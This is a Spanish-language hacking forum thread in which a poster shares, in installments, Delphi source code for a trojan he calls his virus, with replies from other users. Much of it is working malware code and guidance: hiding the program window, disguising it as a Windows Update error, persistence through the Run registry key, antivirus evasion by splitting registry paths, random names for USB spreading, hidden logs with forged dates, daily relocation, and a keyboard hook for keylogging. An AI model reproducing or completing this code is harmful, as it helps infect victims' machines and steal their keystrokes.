Malware Troyano en Delphi

[ChA0sMaSt3r]

Mi troyano en Delphi 2010.
He estado programando un virus desde hace algunos años y ahora deseo compartirlo con todos los que estén interesados en este mundo del hacking.

Les comento que este virus es para quienes tengan un nivel intermedio-avanzado en Delphi, ya que usaremos tecnicas de cifrado de datos, protocolos de SSL para el envío de correos y descarga de ficheros, además un modulo para enganchar un Keylogger al sistema que hospede nuestro virus.


Espero poderles servir de ayuda, así como ustedes me han servido de ayuda en muchas ocasiones. 

[rdzlcs]

Me pareció mas una presentación que un aporte:


http://foro.elhacker.net/foro_libre/presentate_aqui_si_eres_nuevo-t162515.0.html



SALudos!

[Squirtle]

Me parece genial que quieras ayudar a los demas con tus conocimientos y bueno que traigas informacion que dificilmente se consigue en la red.

Esperamos tus aportes.

[ChA0sMaSt3r]

Antes de comenzar a pensar cuales funciones desempeñará un malware, primero debemos pensar en qué cosas debemos hacer para que este trabaje de forma eficiente... Y aquí es donde vengo con mi primer consejo  ..

Les pondré un ejemplo: Supongamos que tenemos un virus que se está ejecutando en la pc de alguna de nuestras víctimas, y de repente nuestra victima intenta abrir alguna aplicacion que lo que hace mas bien es ejecutar nuevamente nuestro virus... Qué pasa entonces?, lo que ocurrirá es que tendremos a nuestro virus ejecutándose 2 veces en el mismo ordenador.. Muchas veces esto puede ser un inconveniente dependiendo de la función que nuestro virus realice.. es por ello que lo más recomendable es hacer que solo se corra una instancia de nuestro virus a la vez.

Existen muchas formas de lograr esto, la programación no es algo que se deba realizar al pie de la letra. Aquí lo más importante es nuestra imaginación y el saber hacer uso de las herramientas que la programación nos ofrece..

Esta técnica se conoce como Semáforo, la cual permite controlar los procesos en ejecución, significa que con esta herramienta ustedes podrán controlar las aplicaciones que se ejecuten en su computador por medio de parámetros definidos en la función CreateSemaphore. Si desean profundizar en este tema pueden visitar el siguiente link http://edn.embarcadero.com/article/29908 .

Ahora bien en Delphi usualmente esto se colocaría en la ventana principal de la aplicacion, esta ventana es la encargada de encapsular todo lo referente a nuestro proyecto. Si desean profundizar un poco más en esto, aquí les dejo un link explicando mejor la funcion de este archivo: http://delphiallimite.blogspot.nl/2008/03/el-objeto-application.html .

Bueno alejémonos de la teoría porque sé que a muchos de ustedes lo único que quieren es ver como se implementa esta función. Así que acá les dejo un ejemplo tomando como referencia el virus que yo hice:

Código (delphi) [Seleccionar] Expandir


program ProjectMain;

uses
  Forms,
  Windows, // Esto es importante para que la funcion CreateSemaphore trabaje
  UnitMain in 'UnitMain.pas' {Form1};

{$R *.res}

Var
  SemHandle : THandle;
  semaforo:String;
BEGIN

semaforo:= 'D3sTrUkt0r';  // Variable semaforo el cual nos ayudara a que solo se corra una instancia del virus
SemHandle := CreateSemaphore(nil,0,1,PChar(semaforo)); //Creamos nuestro semaforo
IF NOT ((SemHandle <> 0) and (GetLastError = ERROR_ALREADY_EXISTS))THEN //Si no hay otra instancia con el mismo nombre ejecutandose, procedemos...
BEGIN
Application.Initialize;   // Iniciamos el virus
Application.Title := 'Windows Update Failure Error 0x008C';   //Esto sera en caso de que surga en la pantalla de la victima algún error, los haremos creer
                                                                  //que el error proviene del sistema de Windows, para no levantar sospechas... ;)
                Application.CreateForm(TForm1, Form1); // Creamos el "Formulario" principal de nuestro virus
                Application.Run;    //Finalmente ejecutamos el virus para que haga su trabajo...
  END;
END.


Es muy importante que para que la funcion CreateSemaphore funcione bien, agregar al Uses el Unit "Windows", el cual aloja esta función(Sólo para que lo tengan presente, esta funcion se encuentra alojada en el Kernel32 del sistema operativo).

Explicaré un poco el funcionamiento de estas líneas.

El primer paso consiste en crear 2 variables(semaforo y SemHandle); la primera será de tipo string, en la cual guardaremos el nombre de la ventana con la que vamos a identificar nuestro virus mientras se ejecuta.
La segunda variable de Tipo Handle, será el encargado de guardar el semaforo.

Ahora bien, la función CreateSemaphore se puede utilizar para diversos propósitos, pero basados en el ejemplo de arriba, lo que básicamente hace es tomar el valor almacenado en la variable Semaforo y buscar si existe alguna aplicacion ejecutándose con ese mismo nombre, finalmente devolverá un valor en el handle SemHandle.

Una vez obtenido ese valor, haremos una comparación, si el valor devuelto es diferente de 0 y si el resultado almacenado en la variable GetLastError es igual a Error_AlreadyExists, significa que ya nuestro virus está en ejecución y no podrá ejecutarse de nuevo, en caso contrario nuestro virus será ejecutado.


Por el momento espero que esta primera parte les pueda ser de gran utilidad, cual consulta no duden en preguntar....

Iré poco a poco con nuestro virus ya que es uno poco complejo y necesito tiempo para subirlo de tal forma que me puedan entender.... Muy pronto subiré más código.. Saludos

[ChA0sMaSt3r]

Siguiendo con nuestro virus.

El próximo punto importante para que nuestro virus se ejecute de una forma eficiente es lograr que nuestro virus corra en segundo plano.
Cómo lo hacemos?, sencillo solocaremos las siguientes líneas justo antes de la línea

Código (delphi) [Seleccionar] Expandir

Application.Run; .

Veamos el ejemplo:

Código (delphi) [Seleccionar] Expandir


BEGIN
Application.Initialize;   // Iniciamos el virus
Application.Title := 'Windows Update Failure Error 0x008C';   //Esto sera en caso de que surga en la pantalla de la victima algun error, los haremos creer
                                                                  //que el error proviene del sistema de Windows, para no levantar sospechas... ;)
Application.CreateForm(TForm1, Form1); // Creamos el Formulario principal de nuestro virus, lo llamaremos Form1.

///////////////////////////////////////////////*
Form1.BorderStyle := bsNone;                      //
Form1.Left := 0;                                  //
Form1.Top := 0;                                   //  Nos aseguramos de que nuestro virus
Form1.Width := 0;                                 //  no sea visible por el usuario cambiando algunas
Form1.Height := 0;                                //  de sus propiedades.
Form1.Visible := False;                           //
Application.ShowMainForm := False;                //
/////////////////////////////////////////////*
Application.Run;    //Finalmente ejecutamos el virus para que haga su trabajo...
END;

De esa manera lograremos que el formulario principal sea completamente invisible.


Ahora vamos entraremos a la parte divertida pero eso lo haremos más adelante, espero que esta segunda lección les sea de utilidad, Saludos.... !!!

[DubBurns]

WOW, Muy interesante, Esperemos mas información sobre el virus tuyo

[$_CiScO]

Programador... Hacker....

[ChA0sMaSt3r]

Hola nuevamente y muchas gracias por sus mensajes de apoyo ya que esto lo hago por ustedes...

Bueno seguimos.
Lo que sigue acontinuación será un poco complicado así que espero que me puedan comprender  ..
La idea inicial al ejecutar un virus (como el que yo hice), es primero que nada hacer que se instale en la pc de la víctima, no sin antes haber comprobado que la maquina huésped no está infectada ya por nuestro virus.. (a mi parecer, no veo correcto que la máquina se tenga que llenar de copias de un mismo virus por todas partes).
Por lo tanto llevaré a cabo un proceso un poco complejo pero efectivo, el cual es guardar siempre la ubicación actual del virus en ejecución en algún lugar del Regedit.exe o sea el Registro de Windows... Les comento que yo este proceso lo realicé cifrando cada dato que almacene en el registro, pero como lo que quiero es que aprendan a hacer un virus y no se compliquen tanto(por que yo sé que muchos están apenas aprendiendo y no quiero que se desmotiven )... Les enseñaré cómo interactuar con el Registro de Windows, y utilizarlo para muchas cosas(No sólo hacer que desaparezca el Administrador de Tareas )....

Bueno en mí caso, yo programé esto en Delphi 2010.. creo que en el 2007 también funciona sin problemas..
Entonces, agregaremos en el Form(el que aparece por defecto al crear un nuevo proyecto VLC), lo siguiente:

Código (delphi) [Seleccionar] Expandir

               
UNIT UnitMain;
INTERFACE
USES
   Windows, Messages, Dialogs, DateUtils, SysUtils, Classes, Graphics, Controls, Forms,   //UNITS
   StdCtrls, ExtCtrls,Registry, TLHelp32, ShellApi,                                       //DEL SISTEMA

   UnitDescargarFicherosSSL,UnitFuncionesExtras,UnitEnviarRegistros,          //Units
   UnitDescargarUsandoOpenSSL,UnitImplantarVirus, FucKReGisTrY, UnitCRC32,    //Mias

   IdBaseComponent, IdComponent, IdCustomTransparentProxy,//Estas son de Indy9
   ZipForge;  //Esta última se obtiene descargando ZipForge

CONST
      CM_MANDA_TECLA  = WM_USER + $1000;
TYPE
   THookTeclado=procedure; stdcall;

TYPE
   TForm1 = class(TForm)

   PROCEDURE FormCreate(Sender: TObject);
   PROCEDURE FormDestroy(Sender: TObject);
   PUBLIC
     HandleHookDLL,
     OpenLibeay32DLL,
     OpenSSLeay32DLL: THandle;
     ThisMoment : TDateTime;
     TempTime:TStringList;
   PRIVATE
     FicheroM       : THandle;
     HookOn,
     HookOff        : THookTeclado;
     PReceptor      : ^Integer;
     NombreDLL,
     Libeay32DLL,
     SSLeay32DLL,
     FicheroLog,
     EjecutableAnterior,
     NuevaRuta: String;                                                           //Crearemos un procedimiento que capture los mensajes que el Hook del teclado
   PROCEDURE Llegada_del_HOOK(var message: TMessage); message  CM_MANDA_TECLA;  //realice
   END;
VAR
   Form1: TForm1;
   newDateTime:TDateTime;
   cWindow:String;
   cTexto, Letra:String;
   TeclaTilde, TeclaShift:String;
   Comenzar:Integer;
   Error      :  WORD;
   TotalBytes :  TInteger8;
   VerifyLine :  STRING;
   Original, Comparado : STRING;
   ContinueLoop:BOOL;
   FSnapshotHandle:THandle;
   FProcessEntry32:TProcessEntry32;

IMPLEMENTATION
{$R *.DFM}

PROCEDURE TForm1.FormCreate(Sender: TObject);
VAR Reg:TRegistry;
CONST WIN1 = 're\Microsoft\Window';  // Desarmamos la ruta RUN en el Regedit para despistar a los antivirus
CONST WIN2 = 'ntVersion\R';
BEGIN     //Iniciamos el virus

  ///////////////////////////////////////////////*
    BorderStyle := bsNone;                      //
    Left := 0;                                  //
    Top := 0;                                   //  Primero que todo, nos aseguramos de que nuestro virus
    Width := 0;                                 //  no sea visible por el usuario.
    Height := 0;                                //
    Visible := False;                           //
    Application.ShowMainForm := False;          //
  ///////////////////////////////////////////////*

newDateTime := StrToDateTime('21/12/2012'); //Esta sentencia sera usada para modificar la fecha de los archivos  ;)
TempTime:=TStringList.Create; //Variable que guardara la fecha que haya en el archivo Log.txt
ThisMoment := Now;  // Creamos una variable para la fecha que ira; guardada en el Log.txt

////////////////////////////////////*
NombreDLL  := 'E56aW.dll';         //
Libeay32DLL:= 'Bin\libeay32.dll';  //  Estos son los ficheros con los que trabajaremos todo el tiempo
SSLeay32DLL:= 'Bin\ssleay32.dll';  //  Hook del teclado, Dlls de seguridad SSL, y nuestro fichero Log, el cual guadara; lo que el "usuario" escriba.
FicheroLog := 'Log.txt' ;          //
////////////////////////////////////*

//NOTA:
//      Importante notar que este virus fue disennado para no pasar mas de un diaa en la misma ubicacion del disco duro.
//      Esto es para efectos de impedir que los antivirus realicen un analisis de seguimiento de patrones

                                                                                          // Para trabajar de forma mas limpia y ordenada en el sisema de nuestras victimas; Primero:
                                                                                          // Por medio de la funcion ObtenerDest_Virus, comprobaremos si nuestro virus ya se encuentra alojado en el sistema actual
IF FileExists(ObtenerDest_Virus + '.exe') or FileExists(ObtenerDest_Virus + '.exee') THEN  // O si es primera vez que se creo, o si ya existia pero sufrio algun error( Si fue eliminado o si algun
                                                                                          // Fichero requerido desaparecio.
BEGIN  //Si nuestro virus ya existe en  la pc huesped. Haremos lo siguiente:

                                                                                   // Si la ruta del virus, que se encuentra almacenada en el REGEDIT,
IF ExtractFilePath(ObtenerDest_Virus) <> ExtractFilePath(paramStr(0)) then     // es distinta al del virus que se est&#225; ejecutando actualmente entonces
BEGIN                                                                      // Realizaremos el proceso de verificar si nuestro virus ya se ha copiado
                                                                                   // en otro sector del disco duro y habra que mover los ficheros que necesita
                                                                                   // para trabajar correctamente.
NombreDLL   := ExtractFilePath(ObtenerDest_Virus) + NombreDLL;  //
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + Libeay32DLL;// La siguiente tarea consiste en comprobar cual de estos ficheros existe en el disco duro
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + SSleay32DLL;// con el fin de moverlos con forme nuestro virus se vaya trasladando de directorio.
FicheroLog  := ExtractFilePath(ObtenerDest_Virus) + FicheroLog; // Si alguno de estos ficheros no existe deberan ser descargados y creados nuevamente(Esto en el caso de Log.txt)
EjecutableAnterior := ObtenerDest_Virus;
IF FileExists(FicheroLog) THEN    //Lo primero que debemos buscar es nuestro Fichero Log.txt
BEGIN                           //Esto lo hacemos ya que este posee informacion muy importante que nos facilitarael trabajo de propagar el virus.
TempTime.LoadFromFile(FicheroLog); //Cargaremos en Log.txt para chequear la fecha y compararla con la fecha actual.
IF DateToStr(ThisMoment) <> TempTime.Strings[0] THEN    // Nuestro virus no debe estar mas de un dia en el mismo sitio
BEGIN                                               // Por lo que comprobaremos si la fecha de nuestro Fichero coincide con la fecha actual.
// Si no coinciden haremos que nuestro virus se traslade de lugar
// Esto lo lograremos con la Funcion Virus_Implantar.
Virus_Implantar;  // Funcion  Virus_Implantar
NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
TransladarTodoOFFLINE(NombreDLL
                                            ,SSleay32DLL                         //  Una vez implantado nuestro virus en otro lugar
                                            ,Libeay32DLL                         //  Procederemos a moover nuestros ficheros junto con el
                                            ,FicheroLog                          //  Unicamente que antes de descargarlos de internet, primero intentaremos
                                            ,EjecutableAnterior
                                            ,NuevaRuta);//  utilizar los ficheros que existen en nuestro disco local.
NombreDLL   := NuevaRuta + ExtractFileName(NombreDLL);   //  El paso que se realiza a continuacion no se realiza linealmente con
Libeay32DLL := NuevaRuta + 'Bin\' + ExtractFileName(Libeay32DLL); //  respecto a la funcion anterior, lo que ocurre con la Funcion Virus_Implantar
SSleay32DLL := NuevaRuta + 'Bin\' + ExtractFileName(SSleay32DLL); //  es que al implantar el virus en otro lugar tambien actualiza los datos en el Registro.
FicheroLog  := NuevaRuta + ExtractFileName(FicheroLog);  //  y al hacer eso tambien debemos actualizar las variables que tenemos en este modulo.
FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
END;
END
           ELSE  // Lo anterior ocurre en el caso de que el Ficehero Log.txt exista. Sino
BEGIN
///////////////////////////////////////*
TempTime.Add(DateToStr(ThisMoment) + #13#10);  //Los caracteres al final de esta linea son para crear un salto al siguiente renglon.
Temptime.SaveToFile(FicheroLog);         // En caso contrario deberemos cargar nuevamente la fecha en el fichero
TempTime.Free ;                           // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
FileSetAttr(FicheroLog, faHidden);             // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
///////////////////////////////////////*

END;
END
ELSE
BEGIN
IF FileExists(FicheroLog) THEN //Comprobamos si nuestro Fichero Log.txt existe en el directorio actual de nuestro virus
BEGIN
TempTime.LoadFromFile(FicheroLog);  // Lo cargamos primeramente para comprobar las fechas..
IF (DateToStr(ThisMoment) <> TempTime.Strings[0]) THEN // Si las fechas no coinciden quiere decir que debemos movernos a otra parte
BEGIN
Virus_Implantar; // Implantamos el virus en otro lado
NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
TransladarTodoOFFLINE(NombreDLL
,SSleay32DLL                         //  Una vez implantado nuestro virus en otro lugar
,Libeay32DLL                         //  Procederemos a moover nuestros ficheros junto con el
,FicheroLog                          //  unicamente que antes de descargarlos de internet, primero intentaremos
,EjecutableAnterior
,NuevaRuta);//  utilizar los ficheros que existen en nuestro disco local.
NombreDLL   := ExtractFilePath(ObtenerDest_Virus) +  ExtractFileName(NombreDLL);    //
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(Libeay32DLL);   //  De igual forma deberemos actualizar nuestras variables
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(SSleay32DLL);   //  con la informacion de la nueva ubicacion de nuestros ficheros
FicheroLog  := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(FicheroLog);    //
FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
END;
END
ELSE  //En caso de que el Fichero Log.txt no existiera
BEGIN
///////////////////////////////////////*
TempTime.Add(DateToStr(ThisMoment) + #13#10);  //
Temptime.SaveToFile(FicheroLog);      // Deberemos cargar nuevamente la fecha en el fichero
TempTime.Free ;                       // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
FileSetAttr(FicheroLog, faHidden);    // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
///////////////////////////////////////*
Virus_Implantar; //Implantamos nuestro virus en otro lugar
NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
TransladarTodoOFFLINE(NombreDLL
                                       ,SSleay32DLL                         //  Una vez implantado nuestro virus en otro lugar
                                       ,Libeay32DLL                         //  Procederemos a moover nuestros ficheros junto con ell
                                       ,FicheroLog                          //  inicamente que antes de descargarlos de internet, primero intentaremos
                                       ,EjecutableAnterior
                                       ,NuevaRuta);//  utilizar los ficheros que existen en nuestro disco local.
NombreDLL   := ExtractFilePath(ObtenerDest_Virus) +  ExtractFileName(NombreDLL);    //
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(Libeay32DLL);   //  De igual forma deberemos actualizar nuestras variables
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(SSleay32DLL);   //  con la informacion de la nueva ubicacion de nuestros ficheros
FicheroLog  := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(FicheroLog);    //
END;
END;

END
ELSE  //Si del todo NO se logra determinar que nuestro virus existe en el disco duro entonces procedemos a implantarlo por "primera vez"
BEGIN
Virus_Implantar;  // Funcion  Virus_Implantar
NombreDLL   := ExtractFilePath(ObtenerDest_Virus) + NombreDLL;   //  El paso que se realiza a continuacion no se realiza linealmente con
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + Libeay32DLL; //  respecto a la funcion anterior, lo que ocurre con la Funcion Virus_Implantar
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + SSleay32DLL; //  es que al implantar el virus en otro lugar tambien actualiza los datos en el Registro.
FicheroLog:= ExtractFilePath(ObtenerDest_Virus) + FicheroLog;
///////////////////////////////////////*
IF FileExists(FicheroLog) THEN DeleteFile(FicheroLog);
TempTime.Add(DateToStr(ThisMoment) + #13#10);  //
Temptime.SaveToFile(FicheroLog);      // En caso contrario deberemos cargar nuevamente la fecha en el fichero
TempTime.Free ;                       // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
FileSetAttr(FicheroLog, faHidden);    // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
///////////////////////////////////////*

END;
                                                  // La funcion ObtenerDest_Virus se vale del Registro de Windows para verificar si nuestro virus existe
   SetTimer(0, 0, 2000, @ProtectCurrentRegistry);// Por lo que si nuestro virus existe, quiere decir que deberemos proteger dichos datos en el Registro en todo
                                                 // momento para trabajar correctamente, por lo que este trabajo sera; la labor de la funcion ProtectCurrentRegistry.
                                                 // Dicha funcion sera; controlada por un Timer el cual realizara; una inspeccion en el Registro cada 2000ms.
//
//
//                                                      FIN DE LA PRIMERA PARTE DEL VIRUS!!!
//
//





jejeje Bueno decidí pegar un poco más de lo que tenía pensado, del primer módulo del virus para que nos vayamos entendiendo ... No se asunten por el código tan amplio que lo iré explicando parte por parte ....

Primero que nada no intenten compilarlo todavía que les dará error por todas partes, debido a que hay varias Units que necesitan agregar al proyecto, las units estás agregadas en el USES como pueden observar algunas son echas por mí, otras son de Delphi, una (ZipForge) es para comprimir y descomprir ficheros .zip, lo pueden buscar y descargarlo para que lo puedan usar. Y por último las Units del proyecto Indy... El cual deben descargarlo e instalarlo para que puedan usar funciones como, conexiones Https, ftps, etc.....

Por el momento los dejaré con este código...  Y les prometo que cuando tenga más tiempo, se los explicaré detalladamente

[engel lex]

Programador... Hacker....

XD creo que pensamos lo mismo al leerlo XD

[ChA0sMaSt3r]

Buenas gente acá estoy nuevamente ... Bueno siguiendo con el código que subí la última vez. Iré explicando línea por línea para que vayamos entendiendo nuestro código

1: La línea #2. Indica el nombre de la Unit principal de nuestro virus(La unit por defecto que contiene el Form).
2: De la línea #4 a la #12 son todas las Units que necesitará nuestro virus para poder trabajar de forma correcta.(Recuerden que algunos módulos pertenecen a Indy9 y ZipForce, por lo que deberán instalarlos en su máquina para poder usarlos).
3: La línea #15(Investiguen sobre WM_USER) , servirá para hacer la captura de los mensajes que el hook ennvíe(Más adelante lo veremos a fondo).
4:La línea #17 será el encargado de hacer que exista un procedimiento de llamada externa que le indique al hook que se enganche con el teclado.
5:Las líneas #22 y #23 son eventos del Form.
6:Ahora bien ahora haré una pausa ya que de la línea #24 a la #42 hay un poco de desorden en la sintaxis del código y algunas líneas de sobra, así que por cuestiones de estética, este debería quedar de esta forma:

Código (delphi) [Seleccionar] Expandir


   PRIVATE
     FicheroM       : THandle;
     HookOn         : THookTeclado;
     PReceptor      : ^Integer;

     NombreDLL,
     Libeay32DLL,
     SSLeay32DLL,
     FicheroLog,
     EjecutableAnterior,
     NuevaRuta: String;

     HandleHookDLL,
     OpenLibeay32DLL,
     OpenSSLeay32DLL: THandle;

     ThisMoment : TDateTime;
     TempTime:TStringList;
     newDateTime:TDateTime;

     cWindow:String;
     cTexto, Letra:String;
     TeclaTilde, TeclaShift:String;

     Comenzar:Integer;
//     Error      :  WORD;
//     TotalBytes :  TInteger8;
//     VerifyLine :  STRING;
//     Original, Comparado : STRING;
//     ContinueLoop:BOOL;
     FSnapshotHandle:THandle;
     FProcessEntry32:TProcessEntry32;
                                                                                //Crearemos un procedimiento que capture los
    PROCEDURE Llegada_del_HOOK(var message: TMessage); message  CM_MANDA_TECLA; //mensajes que el Hook del teclado realice
END;


Les pido disculpas, pero cómo este código lo subi en horas de la noche, estaba muy cansado y no me tomé la molestia de revisar...
Bueno ahora sí, espero que los comentarios que puse en cada línea sean suficientes para hacerme entender un poco.


Ahora de aquí nos saltaremos a lo más importante, la Línea #94!!!!:

Esta bifurcación se encargará de verificar si nuestro virus existe o no en la pc actual.
La comprobación se realiza por medio de la función "ObtenerDest_Virus" ...

La  función primero buscará una clave especifica almacenada en el registro de windows. Así que explicaré esto con un poco de calma:

La Función "ObtenerDest_Virus" está alojada en la Unit "UnitFuncionesExtras", la misma se encargará de buscar la clave que grabamos en el Registro y ducha clave contendrá 3 cadenas(1: La ruta exacta del virus en ejecución(Incluyendo el nombre), 2:Un nombre aleatorio asignado para la copia del virus que será implantado en las unidades USB(Sólo el nombre, sin ruta) y 3: La ruta exacta de la nueva copia que el virus creará en la pc en caso de que no exista)

Bueno muchos se preguntarán, ¿Para qué todo esto?. Bueno resulta que nuestro virus intentará por todos los medios de manejar siempre una sola copia de él mismo dentro de la pc, y dentro de las unidades USB. A menos que la Clave que asignamos en el Registro de windows sufra algún daño... Por lo tanto la primer cadena en nuestra Clave, almacenará la ubicación exacta de nuestro virus en ejecución para posteriormente poderlo ubicar y eliminar desde la siguiente copia del virus que se ejecute en la maquina. La cadena 2 de igual forma, buscará si nuestro virus infectó o no las unidades USB(Solamente usb) y sino procederá a infectarlas, y la tercer cadena es para que una vez que nuestro virus se ejecutó en un reinicio de la pc, pueda existir una forma de determinar si nuestro virus se encuentra alojado en el sistema.

Pero antes de ver el código de esta funcion debemos saber cómo es que se almacenan estas Cadenas en el Registro, cómo obtengo la ruta exacta de mi virus en ejecución, cómo genero un nombre aleatorio para la copia del virus que irá en las unidades usb, etc.


Primero veremos cómo manipular el Registro de windows(Agregar un valor a la Subclave Run del Registro; Lo mismo aplica para la Clave que necesitaremos en donde se almacenarán todos los datos anteriormente explicados)

En delphi para lograr la manipulación del registro de windows deberemos usar una de sus clases, llamada TRegistry, este solo podrá usarse si agregamos en el Uses la unidad Registry.
Bueno para agregar una clave se haría lo siguiente:

Código (delphi) [Seleccionar] Expandir



procedure AgregarApp_Registro;
var Registro: TRegistry;
begin
  Registro := TRegistry.Create;
  Registro.RootKey := HKEY_CURRENT_USER; //Tambien puede ser HKEY_LOCAL_MACHINE

  if Registro.OpenKey( 'Software\Microsoft\Windows\CurrentVersion\Run', FALSE ) Then //Ojo con el False
  begin
    Registro.WriteString("Nombre identificador", "C:\Miapp.exe");
    Registro.CloseKey;
  end;

  Registro.Free;
end;


De este ejemplo hay algo que les quiero comentar.... La línea #8 al final dice False, porqué?, porque si ustedes abren una clave con un parámetro True, este lo que hará será crear una subclave llamada Run dentro de la clave Run(Al final el código será inservible). En cambio si le ponemos False, la clave Run solamente se abrirá, y así   podremos manipular los datos dentro de ella.

Ahora bien la línea #10 creará una cadena tipo String: La primera parte será el nombre que le asignemos a la cadena para identificar el virus, y la segunda parte será la ruta completa donde se encuentra el virus...

Si lo que queremos es agregar nuestro virus en ejecucion al Run. se podría hacer de esta forma:

Código (delphi) [Seleccionar] Expandir


Registro.WriteString("Virus T", ParamStr(0)); // Asi mismo ;)


Sigamos con el otro punto, Cómo hago yo para crear un nombre aleatorio?:


Bueno para eso hay muchas formas, y si buscan en internet encontrarán varias:
En mi caso no me quise quebrar la cabeza con esto y tome un algoritmo de no me acuerdo donde, pero es así:

Código (delphi) [Seleccionar] Expandir


Function Virus_GenerarNombre: String;
  var
    Cadena, Nam31, naM32: string;
    Ancho: Integer;
    i:Integer;
    Indice: Integer;
  begin
    Cadena := 'DdEeFfHhIiKkLlOoPpQqRrSsTtUuVvXxYyZz123456789';   //Alfanumerico
    naM32 := 'xe' ;  //Parte de la extension .exe
    Ancho := 8;  //Longitud del nombre de nuestro virus
    Randomize;
    Result := '';
    Nam31:= '.e'; //Parte de la extension .exe
    Begin
      for i:= 1 to Ancho do  //Desde i = 1 hasta el ancho de nuestro nombre
        begin
          Indice := Random(Length(Cadena)); //Indice = Un numero aleatorio que corresponda a la longitud de la Cadena
          while Indice = 0 do
            begin
              Indice := Random(Length(Cadena));
            end;
          Result := Result + Cadena[Indice];
        end;

    end;
    Result := Result + Nam31 + naM32;
  end;


A esa función no se le tiene que pasar ningún parámetro, al final les tirará una cadena tipo "7huEjdn6.exe" por ejemplo.

Por último deberemos tomar todos estos datos y almacenarlos en la clave del Registro que tendremos como punto de referencia para futuras ejecuciones.

Sería algo así:

Código (delphi) [Seleccionar] Expandir


        Reg := TRegistry.create(KEY_WRITE);
        Reg.RootKey := HkEY_CUrrENT_USeR;
        Reg.OpenKey('Software\VirusT', True);
        Reg.WriteString('Valor1', ParamStr(0)); //Ruta del virus
        Reg.WriteString('Valor2', "7huEjdn6.exe"); //Nombre del virus en usb's
        Reg.WriteString('Valor3', "C:\USers\Admin\excel.exe");//Ruta de la nueva copia del virus
        Reg.CloseKey;
        Reg.Free;



Una vez que ya saben esto ya se imaginarán más o menos lo que hará la función "ObtenerDest_Virus"...

Esta función primeramente determinará si la subclave VirusT existe en la Clave Software. Suponiendo que existiera, lo que hará será tomar la tercer cadena "Valor3" y verificará por medio de la sentencia FileExist, si el virus ya existe. Aquí debe hacerlo de 2 formas. 1, ver si la copia del virus tiene .exee o 2, ver si la copia del virus tiene .exe..... Imaginémonos que tenemos un virus que cambia de posición cada 24hrs. Si mi virus determina que es hora de ejecutar su clon, deberá cambiar la extension .exee del clon para que pueda arrancar... finalmente el virus le indica al Run que debe ejecutar, la próxima vez que se inicie la máquina, el clon de él.. Cuando el Run recibe la orden, que el clon debe ejecutarse al siguiente inicio, lo hará y el clon se ejecutará y lo una de las primeras cosas que hará será determinar si ya la pc está infectada.... Es allí donde buscará si la ruta almacenada en el "Valor3" contiene el virus, así que si no encuetra el virus con la extension .exee, buscará la extensión .exe, de lo contrario la infectará nuevamente con una nueva ruta y el proceso se repetirá....



Ahora bien cómo leemos un valor en el Registro de Windows.... Acá está un ejemplo suponiendo que deseemos conocer la ruta del virus almacenada en el "Valor3" de la Cadena "VirusT":

Código (css) [Seleccionar] Expandir


        Reg := TRegistry.create(KEY_READ);//Aca cambia el modo de creacion
        Reg.RootKey := HKEY_CURRENT_USER;
        Reg.OpenKey('Software\', FALSE);//Siempre usamos False en modo KEY_READ

      IF Reg.KeyExists('VirusT') then
          BEGIN
            Reg.OpenKey('VirusT', FALSE);
            if Reg.ValueExists('Valor3!') then
              begin

                Ruta:= Reg.ReadString('Valor3'); //ReadString en lugar de WriteString
                REG.CloseKey;
                REG.Free;
              end;
End;




Creo que por el momento esto será todo. Como verán estoy intentando abarcar todas las bases antes de proseguir con el resto del código para que nos vayamos entendiendo.Cada función que vayamos necesitando y muchas otras cosas que en el camino aparezcan se las iré explicando y así prodrán ir armando su propio virus con todo lo necesario para ser algo realmente funcional... Espero que les haya gustado a todos ... Nos vemos